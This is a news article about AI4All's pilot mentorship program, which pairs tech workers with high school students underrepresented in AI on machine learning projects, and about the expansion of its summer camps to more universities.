AI4All, an organization created by tech leaders like Melinda Gates and Nvidia founder Jensen Huang, launches its first-ever mentorship program today at Oakstop, a coworking space in Oakland, California.

The program will join tech workers from companies like Salesforce, IBM, and Accenture with high school students underrepresented in AI to work on projects that apply machine learning to solve problems for the benefit of humanity.

AI4All was established by a group that includes Fei-Fei Li, Google Cloud chief scientist and director of Stanford’s AI Lab and Vision Lab, whose passion for democratization of AI was made a central part of the launch of Google’s second-generation tensor processing unit.

Over the course of the next three months, students and tech workers will explore things like

  • NLP to detect the need for an ambulance for emergency phone calls
  • Computer vision to improve disaster relief based on images captured by drones
  • Computer vision to track deforestation around the world from satellite imagery
  • Use music classification algorithms to classify music by genre to introduce people to music from different cultures
  • Use reinforcement learning to create personalized math programs that asks questions based on previous performance

The program will culminate with the teams making their presentations to a panel of experts, including Li.

The new mentorship program launches days after AI4All began its first initiatives outside of the San Francisco Bay Area. AI4All summer camps for high school students began last year at UC Berkeley and Stanford. Earlier this week the camps expanded to Carnegie Mellon University, Princeton University, Boston University, and Simon Fraser University in Canada, AI4All’s first partner outside the United States.

The mentorship program that starts today is a pilot program that begins in the San Francisco Bay Area, director Tess Posner told VentureBeat, but the goal is to expand to other parts of the United States and potentially other countries in the future.

“Everything is kind of early stage, but we definitely see this turning into real projects, and we’re already in talks with several places to potentially turn this into work that would be done either with researchers in academia or with tech companies,” Posner said. “We’re trying to build the infrastructure and learnings to be able to do that successfully across the country.”

AI4All caters to students who are underrepresented in AI, such as girls, African American or Latino students, or kids from a low-income background. Students taking part in the mentorship program participated in last year’s summer camp program.

The goal of AI4All is to inspire more young people to pursue jobs in AI in order to increase diversity in AI and offset evidence around bias and discrimination being embedded in machine learning algorithms. Alumni are supported with ongoing education, grants to start their own outreach programs, and internship opportunities.

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